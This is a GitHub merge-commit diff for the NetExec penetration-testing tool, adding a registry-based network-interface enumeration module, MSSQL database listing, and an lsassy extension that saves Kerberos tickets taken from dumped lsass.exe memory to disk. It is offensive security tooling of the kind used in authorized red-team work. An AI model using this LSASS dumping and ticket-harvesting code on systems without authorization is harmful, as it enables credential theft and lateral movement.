Skip to content

Commit 1ce655d

Browse files
committed
Merge branch 'main' into rdp-exec
2 parents eff606d + 05d15a9 commit 1ce655d

9 files changed

Lines changed: 352 additions & 69 deletions

File tree

.github/ISSUE_TEMPLATE/bug_report.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
2-
31
---
42
name: Bug report
53
about: Create a report to help us improve
@@ -9,6 +7,8 @@ assignees: ''
97

108
---
119

10+
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
11+
1212

1313

1414
**Describe the bug**

nxc/modules/enum_interfaces.py

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
#!/usr/bin/env python3
2+
3+
import contextlib
4+
from impacket.examples.secretsdump import RemoteOperations
5+
from impacket.dcerpc.v5 import rrp
6+
from impacket.dcerpc.v5.rpcrt import DCERPCException
7+
8+
9+
class NXCModule:
10+
"""
11+
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
12+
Formerly --interfaces parameter
13+
Made by: @Sant0rryu, @NeffIsBack
14+
"""
15+
16+
name = "enum_interfaces"
17+
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
18+
supported_protocols = ["smb"]
19+
opsec_safe = False
20+
21+
def __init__(self):
22+
self.context = None
23+
self.module_options = {}
24+
25+
def options(self, context, module_options):
26+
"""No options available"""
27+
28+
def on_admin_login(self, context, connection):
29+
"""Execute network interface enumeration on authenticated SMB connection"""
30+
self.context = context
31+
32+
try:
33+
remoteOps = RemoteOperations(connection.conn, False)
34+
remoteOps.enableRegistry()
35+
36+
if remoteOps._RemoteOperations__rrp:
37+
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
38+
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
39+
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
40+
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
41+
42+
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
43+
for sub_key in sub_keys:
44+
interface = {}
45+
try:
46+
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
47+
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
48+
49+
# Retrieve Interace Name
50+
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
51+
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
52+
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
53+
interface["Name"] = str(interface_name)
54+
if "Kernel" in interface_name:
55+
continue
56+
57+
# Retrieve DHCP
58+
try:
59+
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
60+
except DCERPCException:
61+
dhcp_enabled = False
62+
interface["DHCP"] = bool(dhcp_enabled)
63+
64+
# Retrieve IPAddress
65+
try:
66+
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
67+
except DCERPCException:
68+
ip_address = None
69+
interface["IPAddress"] = ip_address if ip_address else None
70+
71+
# Retrieve SubnetMask
72+
try:
73+
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
74+
except DCERPCException:
75+
subnetmask = None
76+
interface["SubnetMask"] = subnetmask if subnetmask else None
77+
78+
# Retrieve DefaultGateway
79+
try:
80+
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
81+
except DCERPCException:
82+
default_gateway = None
83+
interface["DefaultGateway"] = default_gateway if default_gateway else None
84+
85+
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
86+
87+
except DCERPCException as e:
88+
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
89+
90+
with contextlib.suppress(Exception):
91+
remoteOps.finish()
92+
except DCERPCException as e:
93+
context.log.error(f"Failed to connect to the target: {e!s}")

nxc/modules/lsassy.py

Lines changed: 75 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,17 @@
44
# https://beta.hackndo.com [FR]
55
# https://en.hackndo.com [EN]
66

7+
import os
8+
import sys
79
from lsassy.dumper import Dumper
810
from lsassy.impacketfile import ImpacketFile
911
from lsassy.parser import Parser
1012
from lsassy.session import Session
1113

14+
from impacket.krb5.ccache import CCache
15+
1216
from nxc.helpers.bloodhound import add_user_bh
17+
from nxc.paths import NXC_PATH
1318

1419

1520
class NXCModule:
@@ -21,13 +26,33 @@ def __init__(self, context=None, module_options=None):
2126
self.context = context
2227
self.module_options = module_options
2328
self.method = None
29+
self.dump_tickets = True
30+
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
31+
self.ticket_type = "ccache"
2432

2533
def options(self, context, module_options):
26-
"""METHOD Method to use to dump lsass.exe with lsassy"""
34+
"""
35+
METHOD Method to use to dump lsass.exe with lsassy
36+
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
37+
SAVE_DIR Directory to save dumped tickets
38+
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
39+
"""
2740
self.method = "comsvcs"
2841
if "METHOD" in module_options:
2942
self.method = module_options["METHOD"]
3043

44+
if "DUMP_TICKETS" in module_options:
45+
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
46+
47+
if "SAVE_DIR" in module_options:
48+
self.save_dir = module_options["SAVE_DIR"]
49+
50+
if "SAVE_TYPE" in module_options:
51+
self.ticket_type = module_options["SAVE_TYPE"]
52+
if self.ticket_type not in ["kirbi", "ccache"]:
53+
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
54+
sys.exit(1)
55+
3156
def on_admin_login(self, context, connection):
3257
host = connection.host
3358
domain_name = connection.domain
@@ -67,7 +92,6 @@ def on_admin_login(self, context, connection):
6792
context.log.fail("Unable to parse lsass dump")
6893
return False
6994
credentials, tickets, masterkeys = parsed
70-
7195
file.close()
7296
context.log.debug("Closed dumper file")
7397
file_path = file.get_file_path()
@@ -84,6 +108,9 @@ def on_admin_login(self, context, connection):
84108
if credentials is None:
85109
credentials = []
86110

111+
if self.dump_tickets and tickets:
112+
self.write_tickets(context, tickets, host)
113+
87114
for cred in credentials:
88115
c = cred.get_object()
89116
context.log.debug(f"Cred: {c}")
@@ -116,6 +143,52 @@ def on_admin_login(self, context, connection):
116143
context.log.debug("Calling process_credentials")
117144
self.process_credentials(context, connection, credentials_output)
118145

146+
def write_tickets(self, context, tickets, host):
147+
if not tickets:
148+
context.log.display("No Kerberos tickets found")
149+
return
150+
151+
if not os.path.exists(self.save_dir):
152+
try:
153+
os.makedirs(self.save_dir)
154+
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
155+
except Exception as e:
156+
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
157+
return
158+
159+
ticket_count = 0
160+
for ticket in tickets:
161+
for filename in ticket.kirbi_data:
162+
try:
163+
base_filename = filename.split(".kirbi")[0]
164+
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
165+
kirbi_data = ticket.kirbi_data[filename]
166+
167+
if self.ticket_type == "ccache":
168+
ccache = CCache()
169+
ccache.fromKRBCRED(kirbi_data.dump())
170+
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
171+
ticket_content = ccache.getData()
172+
else:
173+
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
174+
ticket_content = kirbi_data.dump()
175+
176+
ticket_path = os.path.join(self.save_dir, ticket_filename)
177+
178+
with open(ticket_path, "wb") as f:
179+
f.write(ticket_content)
180+
181+
ticket_count += 1
182+
context.log.debug(f"Saved ticket: {ticket_filename}")
183+
184+
except Exception as e:
185+
context.log.fail(f"Error writing ticket {filename}: {e}")
186+
187+
if ticket_count > 0:
188+
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
189+
else:
190+
context.log.display("No tickets were saved")
191+
119192
def process_credentials(self, context, connection, credentials):
120193
if len(credentials) == 0:
121194
context.log.display("No credentials found")

nxc/modules/whoami.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -102,7 +102,7 @@ def on_login(self, context, connection):
102102

103103
# Process Bad Password Count
104104
if "badPwdCount" in response:
105-
context.log.highlight(f"Bad Passwod Count: {response['badPwdCount']}")
105+
context.log.highlight(f"Bad Password Count: {response['badPwdCount']}")
106106

107107
# Process servicePrincipalName
108108
if "servicePrincipalName" in response:

nxc/protocols/mssql.py

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -435,3 +435,74 @@ def rid_brute(self, max_rid=None):
435435

436436
so_far += simultaneous
437437
return entries
438+
439+
def _qname(self, ident: str) -> str:
440+
if ident is None:
441+
return "[]"
442+
return "[" + str(ident).replace("]", "]]") + "]"
443+
444+
def list_databases(self):
445+
try:
446+
q = (
447+
"SELECT d.name AS DatabaseName, "
448+
" suser_sname(d.owner_sid) AS Owner "
449+
"FROM sys.databases d "
450+
"ORDER BY d.name;"
451+
)
452+
rows = self.conn.sql_query(q) or []
453+
if not rows:
454+
self.logger.display("No databases returned")
455+
return
456+
457+
self.logger.display("Enumerated databases")
458+
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
459+
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
460+
for r in rows:
461+
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
462+
self.logger.highlight(f"Total: {len(rows)} database(s)")
463+
except Exception as e:
464+
self.logger.fail(f"Failed to enumerate databases: {e}")
465+
self.logger.debug("list_databases error", exc_info=True)
466+
467+
def database(self):
468+
db_arg = self.args.database
469+
470+
# nxc --database (no value) -> list
471+
if db_arg is True or db_arg is None:
472+
self.list_databases()
473+
return
474+
475+
# nxc --database <name> -> tables
476+
if isinstance(db_arg, str):
477+
try:
478+
safe = db_arg.replace("'", "''")
479+
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
480+
if not exists:
481+
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
482+
return
483+
484+
tq = (
485+
f"SELECT t.name AS TableName, t.modify_date "
486+
f"FROM {self._qname(db_arg)}.sys.tables t "
487+
f"ORDER BY t.name;"
488+
)
489+
rows = self.conn.sql_query(tq) or []
490+
except Exception as e:
491+
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
492+
self.logger.debug("database() error", exc_info=True)
493+
return
494+
495+
if not rows:
496+
self.logger.display(f"Database [{db_arg}] has no user tables.")
497+
return
498+
499+
self.logger.display(f"Tables in database: {db_arg}")
500+
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
501+
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
502+
for r in rows:
503+
mod = r.get("modify_date", "")
504+
if mod and hasattr(mod, "strftime"):
505+
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
506+
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
507+
self.logger.highlight(f"Total: {len(rows)} table(s)")
508+
return

nxc/protocols/mssql/proto_args.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,8 @@ def proto_args(parser, parents):
66
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
77
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
88
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
9-
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
9+
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the mssql db")
10+
mssql_parser.add_argument("--database", nargs="?", const=True, metavar="NAME", help="list databases or list tables for NAME")
1011

1112
dgroup = mssql_parser.add_mutually_exclusive_group()
1213
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")

0 commit comments

Comments
 (0)